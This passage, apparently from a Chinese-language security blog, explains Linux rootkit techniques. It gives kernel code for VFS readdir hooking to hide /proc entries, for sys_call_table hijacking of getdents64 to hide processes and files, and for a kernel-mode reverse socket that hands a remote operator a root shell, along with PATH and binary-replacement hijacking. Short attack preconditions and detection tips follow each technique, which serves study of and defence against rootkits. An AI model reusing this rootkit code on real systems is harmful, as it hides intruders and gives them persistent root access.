    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    int (*readdir) (struct file *, void *, filldir_t);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *, fl_owner_t id);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, struct dentry *, int datasync);
    int (*aio_fsync) (struct kiocb *, int datasync);
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
    unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
    int (*check_flags)(int);
    int (*flock) (struct file *, int, struct file_lock *);
    ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
    ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
    int (*setlease)(struct file *, long, struct file_lock **);
};

VFS Hooking技术的核心思想就是经过替换、以此达到在文件系统这个层面劫持系统的目录隐藏、进程隐藏、网络状态隐藏

code

/*
1. 新建一个666权限的/proc/wnps目录
*/
proc_rtkit = create_proc_entry("wnps", 0666, NULL);
if (proc_rtkit == NULL) 
{
    return 0;
}

/*
2. 经过新建立的/proc/wnps获取父目录
*/
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) 
{
    return 0;
}

/*
3. 设置内存页可读可写,保存原始操做句柄,并替换/proc目录的枚举函数句柄(readdir)
*/
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->readdir; 
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_new;
set_addr_ro(proc_fops); 

/*
4. 在劫持函数中加入文件名判断逻辑,对符合文件名特征的枚举动做进行过滤
*/
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) 
{
    return 0;
} 

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 使用VFS Hooking的逆向思路,经过检查/proc->f_op->readdir(操做句柄)是否位于内核text节区中来判断是否发生了VFS劫持

Relevant Link:

http://www.cnblogs.com/yuyijq/archive/2013/02/24/2923855.html

0x4: File Hidden Based On LSM Transparent Encryption(LSM透明过滤文件系统)

直接进行Linux systemcall table replace hook须要面临不一样Linux Kernel版本、32/64 bit的兼容性问题。为了解决这个问题,使用Linux内核原生代码级支持的LSM(Linux Security Modules)技术是一个更好的选择

LSM Hook Point可使用如下几个

1. security_file_permission: 对文件的操做权限进行审计
int security_file_permission(struct file *file, int mask);
http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1581
http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L526
/*
vfs_readdir() -> security_file_permission()
*/

2. security_dentry_open: 对文件的open操做进行审计
int security_dentry_open(struct file *file);
http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1596
http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L585
/*
sys_open/sys_openat -> do_sys_open -> do_filp_open -> path_openat -> do_last -> nameidata_to_filp -> __dentry_open() -> security_dentry_open()
*/

关于LSM的相关知识,请参阅另外一篇文章

http://www.cnblogs.com/LittleHann/p/4134939.html

Relevant Link:

http://tech.sina.com.cn/s/s/2008-12-23/09062681645.shtml

0x5: File Hidden Based On TOMOYO

对于TOMOYO,和文件读写访问控制相关的Hook Point是

static int tomoyo_file_open(struct file *f, const struct cred *cred)
{
    int flags = f->f_flags;
    /* Don't check read permission here if called from do_execve(). */
    if (current->in_execve)
        return 0;
    return tomoyo_check_open_permission(tomoyo_domain(), &f->f_path, flags);
}

Relevant Link:

http://lxr.free-electrons.com/source/security/tomoyo/tomoyo.c#L329

 

6. Process Hidden

0x1: Process Hidden Based On Hajaking Sys_getdents64

code

/*
1. 经过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48));

/*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) 
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);

/*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号做为索引保存了linux系统下的全部系统调用的入口地址)
*/ 

/*
4. 将sys_call_table做为基址,根据系统调用号做为索引,替换指定的系统调用的函数地址指针(替换前须要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read]; 
orig_getdents64 = sys_call_table[__NR_getdents64];

/*
5. we get the orig information by orig_getdents64
*/
struct dirent64 *td1, *td2;
ret = (*orig_getdents64) (fd, dirp, count);
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);        
//copy the dirp struct to kernel space  
__copy_from_user(td2, dirp, ret);

/*
6. 隐藏对当前进程的枚举
    1) 经过current宏获取当前进程号
    2) 从dirent64获取当前正在枚举的进程号(d_name)
    3) 若是相等则说明须要隐藏
    4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/ 
/*
7. 隐藏对指定特征文件的枚举
    1) 从dirent64获取当前正在枚举的文件名(d_name)
    2) 和咱们配置的文件名特征码(例如wnps_)做比较
    3) 若是命中则说明须要隐藏
    4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/ 
asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
        struct dirent64 *td1, *td2;
        long ret, tmp;
        unsigned long hpid, nwarm;
        short int hide_process, hide_file;

        /* first we get the orig information */
        ret = (*orig_getdents64) (fd, dirp, count);
        if (!ret)
        {
            return ret;
        } 
        /* get some space in kernel */
        td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
        if (!td2)
        {
            return ret;
        }    
        /* copy the dirp struct to kernel space */
        __copy_from_user(td2, dirp, ret);

        td1 = td2, tmp = ret;
        while (tmp > 0) 
        {
            tmp -= td1->d_reclen;
            hide_file = 1;
            hide_process = 0;
            hpid = 0;
            hpid = simple_strtoul(td1->d_name, NULL, 10);

            /* 
            If we got a file like digital,it may be a task in the /proc.
            So check the task with the task pid.
            */
            if (hpid != 0) 
            {
                struct task_struct *htask = current;
                do  
                {
                    if(htask->pid == hpid)
                    {
                        break;
                    }
                    else
                    {
                        htask = next_task(htask);
                    }
                                        
            } while (htask != current);

            /* we get the task which will be hide */
            if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL)))
            {
                hide_process = 1;
            }                
        }

        if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) 
        {
            ret -= td1->d_reclen;
            hide_file = 0;
            /* we cover the task information */
            if (tmp)
            {
                memmove(td1, (char *) td1 + td1->d_reclen, tmp);
            }
        } 
        /* we hide the file */
        if ((tmp) && (hide_file))
        {
            td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
        } 
    } 
    nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
    kfree(td2);

    return ret;
}

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
    1) KJ_SYSCALL_TABLE_SYM
    2) KJ_MODULE_KSET_SYM
    3) KJ_CORE_KERN_TEXT_SYM

 

7. Hidden Port Remote Reverse Connections

0x1: Reverse Socket Connections In Kernel Mode By TCP Package Flag Activation

基于"4.0x2: Network Communication Hidden Based On Netfilter Callback Function Register"隐蔽通道激活以后,当前系统已经进入激活状态,随时能够开始向远程主机发起反向链接

code

/*
1. 经过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48));

/*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) 
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);

/*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号做为索引保存了linux系统下的全部系统调用的入口地址)
*/ 

/*
4. 将sys_call_table做为基址,根据系统调用号做为索引,替换指定的系统调用的函数地址指针(替换前须要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read]; 
orig_getdents64 = sys_call_table[__NR_getdents64];
..
替换sys_call_table[__NR_read]的函数指针,达到劫持read()系统调用的目的

/*
5. 在sys_read(hook系统调用函数)中部署内核态反向socket链接,值得注意的是,这个反向shell还附带了一个root权限的交互式shell
*/
kshell(myowner_ip,myowner_port);
int kshell(int ip,int port)
{
    ..
    sock_create(AF_INET,SOCK_STREAM,0,&sock);
    ..
    sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags);
    ..
    get_pty();
    ..
    if (!(tmp_pid = fork()))
    {
        start_shell();
    }
    ..
}
//get_pty - create a pseudo terminal.
int get_pty(void)
{
    char buf[128];
    int npty, lock = 0;

    ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU);

    ioctl(ptmx, TIOCGPTN, (unsigned long) &npty);
    ioctl(ptmx, TIOCSCTTY,(unsigned long) &npty);
    ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock);

    sprintf(buf, "/dev/pts/%d", npty);
    npty = open(buf, O_RDWR, S_IRWXU);

    return npty;
}
//strat_shell - use system call 'exevce' to get a root shell.
void start_shell(void)
{
        struct task_struct *ptr = current;
        mm_segment_t old_fs;

        old_fs = get_fs();
        set_fs(KERNEL_DS);

        ptr->uid = 0;
        ptr->euid = 0;
        ptr->gid = SGID;
        ptr->egid = 0;

        dup2(epty, 0);
        dup2(epty, 1);
        dup2(epty, 2);

        chdir(HOME);

        execve("/bin/sh", (const char **) earg, (const char **) env);

        e_exit(-1);
}

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
    1) KJ_SYSCALL_TABLE_SYM
    2) KJ_MODULE_KSET_SYM
    3) KJ_CORE_KERN_TEXT_SYM

 

8. Programe Replacing

0x1: Ring3 Programe Hijaking Based On Linux Path Hijaking

所谓路径劫持技术,本质上就是利用Linux默认指令程序搜索顺序的特性而发动的攻击,通常状况下,咱们在命令行会直接输入指令而不带完整路径

而实际上,linux会按照一个预约的顺序去搜索这个指令对应的程序

1. 当前目录
2. 若是当前目录不存在,则按照PATH路径进行搜索

若是黑客可以在其中的搜索列表中的尽可能靠前的地方(越靠前越好)放置同名("同名"是指令劫持的关键前提)的指令程序(例如ll),当用户输入ll命令时,实际执行的就是黑客防止的恶意程序,从而达到基于PATH劫持的指令劫持的目的

攻击前提

1. 黑客拥有指定目录的写权限 

防护策略

1. 基于恶意软件、木马、后门软件的指纹库的定时全盘扫描

0x2: Ring3 Program Hijaking Based On Replacing Original Programe

早期的黑客使用的rootkit经常使用的作法是直接将/bin/ls、/bin/ll等可执行文件替换为同名的恶意程序(本质思想上和基于PATH劫持的指令劫持的思想差很少)

攻击前提

1. 黑客拥有系统关键目录(/bin、/sbin等目录的写权限),通常是拿到root权限的 

防护策略

1. 基于恶意软件、木马、后门软件的指纹库的定时全盘扫描

 

Copyright (c) 2014 LittleHann All rights reserved

相关文章
相关标签/搜索